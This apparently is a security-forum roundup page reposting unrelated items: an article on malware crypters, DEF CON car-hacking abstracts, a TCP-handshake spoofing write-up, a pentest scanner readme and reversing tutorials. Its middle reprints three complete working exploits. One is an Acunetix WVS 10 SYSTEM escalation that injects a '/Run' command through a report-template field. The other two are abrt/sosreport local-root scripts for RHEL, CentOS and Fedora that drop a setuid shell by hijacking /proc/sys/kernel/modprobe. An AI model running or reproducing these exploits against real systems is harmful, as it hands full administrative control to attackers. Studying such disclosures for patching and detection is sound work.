http://www.exploit-monday.com/2015/12/thoughts-on-exploiting-remote-wmi-query.html

Malware Crypters – the Deceptive First Layer DECEMBER 2, 2015 | BY HASHEREZADE Recently, two suspects were arrested for selling Cryptex Reborn and other FUD tools (helping to install malware in a Fully UnDetectable way). Today, we will study some examples to make sure that everyone knows what this type of tools are and why they are dangerous. We will also present some example of identifying and unpacking a malware crypter. Crypters – what are they? Most modern malware samples, in addition to built-in defensive techniques, are protected by some packer or crypter. A crypter’s role is basically to be the first – and most complex – layer of defense for the malicious core. They try to deceive pattern-based or even behavior-based detection engines – often slowing down the analysis process by masquerading as a harmless program then unpacking/decrypting their malicious payload. They may also add some icons and metadata that make the sample look like a legitimate product. Underground crypters, created to defend malware against antivirus/anti-malware products, are sold in typical cybercriminal hangouts. Below, you can see examples of crypters being advertised on the black market and the tricks they use: Articol complet: https://blog.malwarebytes.org/development/2015/12/malware-crypters-the-deceptive-first-layer/

[h=1]DEF CON 23 - Vehicle Hacking Village - Eric Evenchick - SocketCAN[/h] Exploration of what SocketCAN is, how it works and how it can be used to create CANBUS applications.

DEF CON 23 - Vehicle Hacking Village - Nathan Hoch - The Badge and PAWN: Customizing the Badge Overview of how to modify the badge for the game at Vehicle Hacking Village.

DEF CON 23 - Samy Kamkar - Drive it like you Hacked it: New Attacks and Tools to Wireles Gary Numan said it best. Cars. They’re everywhere. You can hardly drive down a busy freeway without seeing one. But what about their security? In this talk I’ll reveal new research and real attacks in the area of wirelessly controlled gates, garages, and cars. Many cars are now controlled from mobile devices over GSM, while even more can be unlocked and ignitions started from wireless keyfobs over RF. All of these are subject to attack with low-cost tools (such as RTL-SDR, GNU Radio, HackRF, Arduino, and even a Mattel toy). We will investigate how these features work, and of course, how they can be exploited. I will be releasing new tools and vulnerabilities in this area, such as key-space reduction attacks on fixed-codes, advanced "code grabbers" using RF attacks on encrypted and rolling codes, and how to protect yourself against such issues. By the end of this talk you’ll understand not only how vehicles and the wirelessly-controlled physical access protecting them can be exploited, but also learn about various tools for car and RF research, as well as how to use and build your own inexpensive devices for such investigation. Ladies and gentlemen, start your engines. And other people’s engines. Samy Kamkar is a security researcher, best known for creating The MySpace Worm, one of the fastest spreading viruses of all time. He (attempts to) illustrate terrifying vulnerabilities with playfulness, and his exploits have been branded: “Controversial”, -The Wall Street Journal “Horrific”, -The New York Times “Now I want to fill my USB ports up with cement”, -Gizmodo He’s demonstrated usurping typical hardware for surreptitious means such as with KeySweeper, turning a standard USB wall charger into a covert, wireless keyboard sniffer, and SkyJack, a custom drone which takes over any other nearby drones allowing them to be controlled as a massive zombie swarm. He’s exposed issues around privacy, such as by developing the Evercookie which appeared in a top-secret NSA document revealed by Edward Snowden, exemplifying techniques used by governments and corporations for clandestine web tracking, and has discovered and released research around the illicit GPS and location tracking performed by Apple, Google and Microsoft mobile devices. He continues to produce new research and tools for the public as open source and open hardware. Twitter: @samykamkar

DEF CON 23 - Marc Rogers and Kevin Mahaffey - How to Hack a Tesla Model S The Tesla Model S is the most connected car in the world. It might surprise you to hear that it is also one of the most secure. In this talk we will walk you through the architecture of a Tesla Model S noting things that Tesla got right as well as identifying those that they got wrong. From this talk you will get an intimate understanding of how the many interconnected systems in a Tesla model S work and most importantly how they can be hacked. You will also get a good understanding of the data that this connected car collects and what Tesla does with this telemetry. We will also be releasing a tool that will enable Tesla Model S owners to view and analyse that telemetry in real time. Finally we will also be releasing several 0day vulnerabilities that will allow you to hack a Tesla Model S yourself - both locally and remotely. Note - only one of the 6 vulnerabilities we will discuss and release has been fixed. Disclaimer: With great access comes great responsibility - In other words we are not responsible for any Tesla Model S bricked by over enthusiastic attendees of this talk Speaker Bios: Marc Rogers aka Cyberjunky has been a prominent member of the hacking scene since the 80’s. Some of his most notable achievements are co-founding the notorious British hacker group, “The Agents of a Hostile Power” and his role in creating and appearing in the award winning BBC TV series “The Real Hustle”. Marc’s professional career spans more than twenty years, including a decade managing security for the UK operator Vodafone. Marc is currently the principal security researcher for web optimization and security company “CloudFlare. As well as his work in the infosec and telecoms industries, Marc has also been a CISO in South Korea and co-founder of a disruptive Bay Area start-up. Some of Marc’s notable recent hacks include Google Glass, Apple TouchID and most recently the Tesla Model S. Kevin is an entrepreneur and technologist with a background in mobile and web technology, security, and privacy. He is the CTO of Lookout, a company dedicated making the world a safer place as it becomes more connected, starting with smartphones and tablets. He co-founded Lookout in 2007 and is responsible for driving Lookout’s technology to protect people from current and future threats while keeping the product simple and easy to use. He started building software when he was 8 years old and it has been a love affair ever since. Kevin is a frequent speaker on security, privacy, mobile, and other topics.

[h=1]Acunetix WVS 10 - Local Privilege escalation[/h] ''' ======================================================================== Acunetix WVS 10 - from guest to Sytem (Local privilege escalation) CVE: CVE-2015-4027 Author: (me) Daniele Linguaglossa Affected Product: Acunetix WVS 10 Exploit: Local privilege escalation Vendor: Acunetix ltd Remote: No Version: 10 ========================================================================= A local privilege escalation exists in Acunetix WVS 10, it allow a local user (even guest) to gain same privilege as System user. With default Acunetix installation, a service called "AcuWVSSchedulerv10" will be installed, this service run as local system user. AcuWVSSchedulerv10 is reponsable for scan scheduling without user interaction it expose some API to interact via a web server usually localhost:8183. API: /listScan /addScan <== vulnerable one /deleteScan etc... When a user schedule a scan API "addScan" will be called as following ------------------------------------------------------------------------------- POST /api/addScan HTTP/1.1 Host: localhost:8183 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=UTF-8 RequestValidated: true X-Requested-With: XMLHttpRequest Referer: http://localhost:8183/ Content-Length: 452 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache { "scanType": "scan", "targetList": "", "target": ["http://.target.it"], "recurse": "-1", "date": "12/2/2015", "dayOfWeek": "1", "dayOfMonth": "1", "time": "12:21", "deleteAfterCompletion": "False", "params": { "profile": "Default", "loginSeq": "<none>", "settings": "Default", "scanningmode": "heuristic", "excludedhours": "<none>", "savetodatabase": "True", "savelogs": "False", "generatereport": "False", "reportformat": "PDF", "reporttemplate": "WVSAffectedItemsReport.rep", "emailaddress": "" } } ------------------------------------------------------------------------------ The first thing i noticed was the reporttemplate, this was used to create report when scanning ends, so it means an external file wich we can control will be then used by System! this would be interesting enough but i never look deep into. Instead i noticed something even worst, filename was used as argument to wvs.exe called with system privilege! By looking at how Acunetix handled reporttemplate argument i figured out that was possibile to inject custom arguments within reporttemplate, now this is where Acunetix help us in fact wvs was provided with an interesting argument it was /Run as reference says: https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/ Run a command line command during the crawl. Syntax: /Run [command] Example: /Run curl http://example.com/dir1/ Wow that's really nice, so in order to execute a command we must insert a fake Crawl followed by a Run command so reporttemplate become: "reporttemplate": "WVSAffectedItemsReport.rep /Craw http://fakesite.it /Run cmd.exe" it worked cmd runned as System! ================================================================================== Now let's pwn this! escalation.py ''' import httplib import json from datetime import datetime import sys from time import gmtime, strftime COMMAND = sys.argv[1] if len(sys.argv) > 1 else "cmd.exe" ACUHOST = '127.0.0.1' ACUPORT = 8183 ACUHEADERS = { "Content-Type": "application/json; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Accept": "application/json, text/javascript, */*; q=0.01", "RequestValidated": "true" } ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\"" ACUDATA = {"scanType":"scan", "targetList":"", "target":["http://"+"A"*2048], "recurse":"-1", "date":strftime("%m/%d/%Y", gmtime()), "dayOfWeek":"1", "dayOfMonth":"1", "time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1), "deleteAfterCompletion":"False", "params":{"profile":"Default", "loginSeq":"<none>", "settings":"Default", "scanningmode":"heuristic", "excludedhours":"<none>", "savetodatabase":"True", "savelogs":"False", "generatereport":"False", "reportformat":"PDF", "reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT, "emailaddress":""} } def sendExploit(): conn = httplib.HTTPConnection(ACUHOST, ACUPORT) conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS) resp = conn.getresponse() return "%s %s" % (resp.status, resp.reason) print "Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n" print "[+] Command : %s will be executed as SYSTEM" % COMMAND print "[+] Sending exploit..." print "[+] Result: "+sendExploit() print "[+] Done!" ''' ============================================================================ I hope this write-up was funny enough anyway i really would like to thank Acunetix product manager N.S. for the really fast answer and bug mitigation, right now a patch exists so hurry up download it now. ============================================================================ ''' Sursa: https://www.exploit-db.com/exploits/38847/

[h=1]RHEL 7.0/7.1 - abrt/sosreport Local Root[/h] #!/usr/bin/python # CVE-2015-5287 (?) # abrt/sosreport RHEL 7.0/7.1 local root # rebel 09/2015 # [user@localhost ~]$ python sosreport-rhel7.py # crashing pid 19143 # waiting for dump directory # dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143 # waiting for sosreport directory # sosreport: sosreport-localhost.localdomain-20151130194114 # waiting for tmpfiles # tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ'] # moving directory # moving tmpfiles # tmpurfpyY -> tmpurfpyY.old # tmpYnCfnQ -> tmpYnCfnQ.old # waiting for sosreport to finish (can take several minutes)........................................done # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # bash-4.2# cat /etc/redhat-release # Red Hat Enterprise Linux Server release 7.1 (Maipo) import os,sys,glob,time,sys,socket payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" pid = os.fork() if pid == 0: os.execl("/usr/bin/sleep","sleep","100") time.sleep(0.5) print "crashing pid %d" % pid os.kill(pid,11) print "waiting for dump directory" def waitpath(p): while 1: r = glob.glob(p) if len(r) > 0: return r time.sleep(0.05) dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0] print "dump directory: ", dumpdir os.chdir(dumpdir) print "waiting for sosreport directory" sosreport = waitpath("sosreport-*")[0] print "sosreport: ", sosreport print "waiting for tmpfiles" tmpfiles = waitpath("tmp*") print "tmpfiles: ", tmpfiles print "moving directory" os.rename(sosreport, sosreport + ".old") os.mkdir(sosreport) os.chmod(sosreport,0777) os.mkdir(sosreport + "/sos_logs") os.chmod(sosreport + "/sos_logs",0777) os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log") os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log") print "moving tmpfiles" for x in tmpfiles: print "%s -> %s" % (x,x + ".old") os.rename(x, x + ".old") open(x, "w+").write("/tmp/hax.sh\n") os.chmod(x,0666) os.chdir("/") sys.stderr.write("waiting for sosreport to finish (can take several minutes)..") def trigger(): open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') sys.exit(-1) for x in xrange(0,60*10): if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read(): print "done" trigger() time.sleep(1) sys.stderr.write(".") print "timed out" Sursa: https://www.exploit-db.com/exploits/38832/

[h=1]Centos 7.1/Fedora 22 - abrt Local Root[/h] #!/usr/bin/python # CVE-2015-5273 + CVE-2015-5287 # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too) # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage # rebel 09/2015 # ---------------------------------------- # [user@localhost ~]$ id # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # [user@localhost ~]$ cat /etc/redhat-release # CentOS Linux release 7.1.1503 (Core) # [user@localhost ~]$ python abrt-centos-fedora.py # -- lots of boring output, might take a while on a slow connection -- # /var/spool/abrt/abrt-hax-coredump created # executing crashing process.. # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 import time,os,datetime,sys,resource,socket fedora = "Fedora" in open("/etc/redhat-release").read() # mkdir dir1 # ln -s /var/spool/abrt dir1/hax # mkdir dir2 # mkdir dir2/hax # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump # cd dir1 # find . -depth -print | cpio -o > ../cpio1 # cd ../dir2 # find . -depth -print | cpio -o > ../cpio2 cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip") cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip") if fedora: cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt") payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip") # most people don't have nasm installed so i preassembled it # if you're not brave enough to run the preassembled file, here's the code """ ; abrt-hax.asm ; nasm -f bin -o abrt-hax abrt-hax.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: inc esp cmp dword [esp],0x706d742f jne l or esp,0xfff inc esp mov edx,500 l3: mov ecx,msglen mov ebx,message sub esp,ecx l2: mov al,[ebx] mov [esp],al inc esp inc ebx loop l2 sub esp,msglen dec edx cmp edx,0 jne l3 mov eax,0x41414141 jmp eax message db '////////tmp/hax.sh',0x0a,0 msglen equ $-message """ build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1] os.chdir("/tmp") open("build_ids","w+").write(build_id + "\n") print build_id def child(): timestamp = int(time.time()) for i in xrange(0,3): try: t = datetime.datetime.fromtimestamp(timestamp+i) d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid()) os.mkdir(d) os.chmod(d,0777) os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio") print "created %s" % d except: pass os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y") try: os.mkfifo("/var/tmp/haxfifo") os.chmod("/var/tmp/haxfifo",0666) except: pass def fifo(a): print "reading from fifo.." open("/var/tmp/haxfifo").read() print "done" print "writing to fifo.." open("/var/tmp/haxfifo","w+").write(a) print "done" if os.fork() == 0: child() print "first cpio..." fifo(cpio1) os.wait() time.sleep(1) if os.fork() == 0: child() print "second cpio..." fifo(cpio2) os.wait() time.sleep(1) if fedora: sym = "/var/tmp/abrt/abrt-hax-coredump" else: sym = "/var/spool/abrt/abrt-hax-coredump" try: os.lstat(sym) except: print "could not create symlink" sys.exit(-1) print "%s created" % sym open("/tmp/abrt-hax","w+").write(elf) os.chmod("/tmp/abrt-hax",0755) if os.fork() == 0: resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,)) print "executing crashing process.." os.execle("/tmp/abrt-hax","",{}) os.wait() time.sleep(1) if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read(): print "could not modify /proc/sys/kernel/modprobe" sys.exit(-1) open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') Sursa: https://www.exploit-db.com/exploits/38835/

Lenas Reversing for Newbies [TABLE=class: fborder, width: 960] [TR] [TD=class: fcaption, colspan: 2, align: left]Reversing for Newbies - Complete[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Author[/TD] [TD=class: forumheader3, align: left]Lena[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Author website[/TD] [TD=class: forumheader3, align: left]Forums - Tuts 4 You[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Description[/TD] [TD=class: forumheader3, align: left]You can download the complete series direct from Tuts 4 You if you do not wish to download the files individually. 01. Olly + assembler + patching a basic reverseme 02. Keyfiling the reverseme + assembler 03. Basic nag removal + header problems 04. Basic + aesthetic patching 05. Comparing on changes in cond jumps, animate over/in, breakpoints 06. "The plain stupid patching method", searching for textstrings 07. Intermediate level patching, Kanal in PEiD 08. Debugging with W32Dasm, RVA, VA and offset, using LordPE as a hexeditor 09. Explaining the Visual Basic concept, introduction to SmartCheck and configuration 10. Continued reversing techniques in VB, use of decompilers and a basic anti-anti-trick 11. Intermediate patching using Olly's "pane window" 12. Guiding a program by multiple patching. 13. The use of API's in software, avoiding doublechecking tricks 14. More difficult schemes and an introduction to inline patching 15. How to study behaviour in the code, continued inlining using a pointer 16. Reversing using resources 17. Insights and practice in basic (self)keygenning 18. Diversion code, encryption/decryption, selfmodifying code and polymorphism 19. Debugger detected and anti-anti-techniques 20. Packers and protectors : an introduction 21. Imports rebuilding 22. API Redirection 23. Stolen bytes 24. Patching at runtime using loaders from lena151 original 25. Continued patching at runtime & unpacking armadillo standard protection 26. Machine specific loaders, unpacking & debugging armadillo 27. tElock + advanced patching 28. Bypassing & killing server checks 29. Killing & inlining a more difficult server check 30. SFX, Run Trace & more advanced string searching 31. Delphi in Olly & DeDe 32. Author tricks, HIEW & approaches in inline patching 33. The FPU, integrity checks & loader versus patcher 34. Reversing techniques in packed software & a S&R loader for ASProtect 35. Inlining inside polymorphic code 36. Keygenning 37. In-depth unpacking & anti-anti-debugging a combination packer / protector 38. Unpacking continued & debugger detection by DLL's and TLS 39. Inlining a blowfish scheme in a packed & CRC protected dll + unpacking Asprotect SKE 2.2 40. Obfuscation and algorithm hiding[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Image[/TD] [TD=class: forumheader3, align: left]no image available[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Filesize[/TD] [TD=class: forumheader3, align: left]139.59 MB[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Date[/TD] [TD=class: forumheader3, align: left]Friday 01 September 2006 - 18:14:50[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Downloads[/TD] [TD=class: forumheader3, align: left]280338[/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Download[/TD] [TD=class: forumheader3, align: left][/TD] [/TR] [TR] [TD=class: forumheader3, align: left]Rating[/TD] [TD=class: forumheader3, align: left][TABLE=width: 741] [TR] [TD]Not rated[/TD] [TD=align: right][/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] Sursa: https://tuts4you.com/download.php?view.2876

Luc Gommans/ blog Faking the TCP handshake Written on 2015-11-30 To the best of our knowledge, this attack is a new finding. Asking around, people assume the TCP handshake verifies the IP addresses on both sides. This attack shows that this is not actually true. In a collaborative project for the Fontys University of Applied Sciences, Raoul Houkes and I researched different ways to attack TCP, either at implementation or protocol level. What we found was a protocol-level attack, affecting all correct implementations. The TCP handshake works like this, with A being the client that is connecting to B: A: Hi B, I'm A, send number 5. B: Hi A, I'm B, 5, send number 3. A: Hi B, I'm A, 3, send number 6. I'd like example.net. B: Hi A, I'm B, 6, send number 4. Here comes the data: ... After this, A can send data to B and B can send data to A. For each byte of data they send to each other, their numbers increase. This is to keep track of whether all data has been received by the other party, to ensure reliable transmission. When this was designed in 1981, security was no priority. The ARPANET efficiently fit in a single list and they needed a protocol to send data without worrying about retransmitting on errors, checksumming to check for errors, keeping packets in order, etc. TCP solved all of this. These numeric fields, called the 'sequence' and 'acknowledgement' numbers, are currently used for security as well as reliable transmission. This causes two problems: The fields are not particularly large (32 bits). Due to their dual purpose, incorrect numbers have to be discarded without corrupting the connection. In other words, you can send incorrect acknowledgement numbers and subsequent packets with a correct acknowledgement number will be accepted just fine. We combined these two properties into our attack, which would look roughly like this, where A is sending packets to B: A: Hi B, I'm C, send number 5. B: Hi C, I'm B, 5, send number 3. A: Hi B, I'm C, 1, send number 6. I'd like example.net. B: Hi C, I'm B, that's incorrect. Close the connection please. A: Hi B, I'm C, 2, send number 6. I'd like example.net. B: Hi C, I'm B, that's incorrect. Close the connection please. A: Hi B, I'm C, 3, send number 6. I'd like example.net. B: Hi C, I'm B, 6, send number 4. Here comes the data: ... In this example, host A never receives any of B's messages and B does not know that it's responding to a fake IP address. Host A is faking its IP address into C. One prerequisite for the attack is that the real C will not actually send "Huh what is going on"-packets (or RST packets), but that is easy: either take a non-existent C (e.g. 0.0.0.0) or take advantage of firewalls (clients are typically behind a stateful firewall, or NAT, or both). The time B will wait for C (or any other client) to confirm the connection is limited. On a Linux 4.2 kernel I tried this and it turned out to be 20 seconds. After these 20 seconds you need to start over (send another SYN), but this does not make any difference since the chosen numbers are completely random. The cost of the attack? On average it takes 120GB of network traffic (counting 60 bytes for the ethernet header, IP header and TCP header combined) to create a spoofed connection. You could get unlucky and need 200GB of traffic, but it's equally likely to get lucky and only need 72GB. A quick search reveals many VPS systems with 1gbps bandwidth for very little money. If you take full advantage of the available bandwidth, the attack takes 17 minutes and 11 seconds on average. Usually you will want to inject a payload, for example to send a command. This command needs to be appended to the existing data, making the attack larger. For example sending "GET / HTTP/1.0\n\n" takes on average 152GB or 20 minutes. This will show up in the access logs as a perfectly normal connection though. Other examples of this attack include getting around black- or whitelists, for example on management interfaces of certain systems. This was really popular in the 90s, but many are still around and plenty new applications still work this way. Proof of concept What is a research project without a proof of concept? Here are screenshots from Wireshark, a packet dump, and the code that was used. I filtered out the relevant packets, as captured by the target: 192.168.36.17. The first packet is the initial hello, sent by 192.168.36.11, spoofing 192.168.36.18. Our target responds to the fake IP address, and what happens next is that the tool starts guessing the right acknowledgement number. Note the time jump from 0.x seconds to 8.x seconds, here I filtered out a number of attempts. At some point, the number goes from 2^32 (4.x billion) to zero, this is because Wireshark gives us relative numbers. It also means we've found the right number. Relative acknowledgement number 1 is the one we need to have! After receiving that one, the SSH server responds with its banner, as an SSH server always does upon receiving a valid TCP connection. Here is the conversation in some more detail: The random number picked by the server is 0x0006943f (or 431167). At some point, our script comes across 0x00069440 (or 431168), which is the right number because we need to send what we received plus one. In response to that, SSH gives us the banner that is always sent at the beginning of a valid connection. The original packet dump is only 15 seconds long because I captured 15 seconds around the event before rotating logs. Sounds like nothing, but it's 5 544 384 (5.5 million) packets and almost half a gigabyte. If you want to see this, you could just run the attack and see for yourself. The packet dump that is visible above can be downloaded here: spoofed-tcp-connection.pcap And finally, the code that was used to perform the attack can be downloaded here: attack-tcp.py As a true proof of concept, it's specifically written for this purpose and the code is not made to be maintainable Conclusion The attack is difficult to mitigate due to the nature of the TCP protocol. Only wildly incorrect guesses at the acknowledgement number could be rejected as invalid and could be used as a reason to close the connection, but even then that leaves a large enough window to exploit. To authenticate both sides of a connection, additional security such as TLS needs to be used. Even if the certificate is not authenticated, any encrypted TLS session will do because there is additional data that needs to be received by the client. Spoofing becomes infeasible. Lesson of the day: never use IP address-based authentication, don't trust IP address whitelists, and use security protocols when you need security (or non-repudiation). Sursa: http://lgms.nl/blog-2

[h=1] - --=[sn1per v1.4 by 1N3 -- --=[http://crowdshield.com [/h][h=1]Sn1per - Automated Pentest Recon Scanner[/h][h=2]ABOUT:[/h][h=1]Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. [/h][h=2]FEATURES:[/h][h=1] Automatically collects basic recon (ie. whois, ping, DNS, etc.) Automatically launches Google hacking queries against a target domain Automatically enumerates open ports Automatically brute forces sub-domains and DNS info Automatically runs targeted nmap scripts against open ports Automatically scans all web applications for common vulnerabilities Automatically brute forces all open services [/h][h=2]INSTALL:[/h][h=1]./install.sh - Installs all dependencies. Best run from Kali Linux. [/h][h=2]USAGE:[/h][h=1]./sn1per <target> [/h][h=2]SAMPLE REPORT:[/h][h=1]https://goo.gl/96LCAg [/h][h=2]CHANGELOG:[/h][h=1] v1.4 - Added Yasou for automatic web form brute forcing v1.4 - Added MassBleed for SSL vulnerability detection v1.4 - Added Breach-Miner for detection of breached accounts v1.4 - Fixed minor errors with nmap v1.4 - Removed debug output from goohak from displaying on console [/h] Sursa: https://github.com/1N3/Sn1per

Linux x86 Program Start Up or - How the heck do we get to main()? by Patrick Horgan Who's this for? This is for people who want to understand how programs get loaded under linux. In particular it talks about dynamically loaded x86 ELF files. The information you learn will let you understand how to debug problems that occur in your program before main starts up. Everything I tell you is true, but some things will be glossed over since they don't take us toward our goal. Further, if you link statically, some of the details will be different. I won't cover that at all. By the time you're done with this though, you'll know enough to figure that out for yourself if you need to. This is what we'll cover (pretty picture brought to you by dot - filter for drawing directed graphs) When we're done, you'll understand this. Articol complet: Linux x86 Program Start Up

A Research on general auto-unpacking methods for Android applications Author: virustracker Time: November 24, 2015 From: http://drops.wooyun.org/tips/9214 This post is the extended version of the article A Research on general auto-unpacking methods for Android applications presented on the Wooyun summit. 0x00 Background & Significance Comparing traditional PC applications, Android applications are easier to reverse, because when the reversing process is done, it will completely recover the Java code or the smali intermediate language of the application. Both have a wealth of high-level semantic information that is easy to understand and expose its program logic to less technical attackers. Therefore, consolidated protection service for Android applications is brought to life. At first, only Party A companies provided such service and nowadays almost every large Internet company has it. Meanwhile, more and more money-related Android apps, such as banking applications are consolidating themselves, which means the market is booming. A typical consolidated protection service can provide following protections: anti – reverse, anti-tampering, anti – debugging, anti – theft and so on. Although it cannot avoid and protect from the security issues or flaws residing in the application itself, it can effectively protect its true logic and integrity. However, these features can be easily leveraged by malware. There is evidence showed that the rate of packed malware is increasing, as consolidating protection is getting popular. On the one hand, malware analysis first requires unpacking. On the other hand, if an application can be easily unpacked and analyzed, the dangers it will face would also rise. 0x01 Research Object Normally a consolidated protection service can provide general consolidation solutions and customized solutions for EDX. Customized consolidation often requires closer integration of development, which may involve deeper levels of consolidation (such as code consolidation). General DEX consolidation only requires users to provide compiled Android APK. Currently, the former lacks samples and needs close cooperation with consolidated protection providers, while the latter is provides as a free service by most providers and is applied more widely because of that. This post will focus on the latter one that provides protection for executable EDX, which is EDX files protection and aims at research on general recovery methods for DEX files. Customized consolidation service or obfuscation protection for native code is not included here. 0x02 the characteristics of consolidation service We’ll detail the common characteristic of consolidation service by using a static reversing consolidation method as an example. A consolidation provider adopted this case several months ago. Because consolidation services frequently change its decryption algorithm and scheme, the implementation details are not applied to current products or other consolidation services. But the overall consolidation concept and protection methods are almost the same. Usually when we use static analysis tools to analyzed a consolidated App, AndroidManifest.xml will save all original information including defined components, permissions and add an entry point, which is often an application, based on that. However, the code of DEX will be like this. DEX code only contains a few classes and codes, which mainly does some detection work or preparation. Then it dynamically loads the original DEX file by loading a native library. 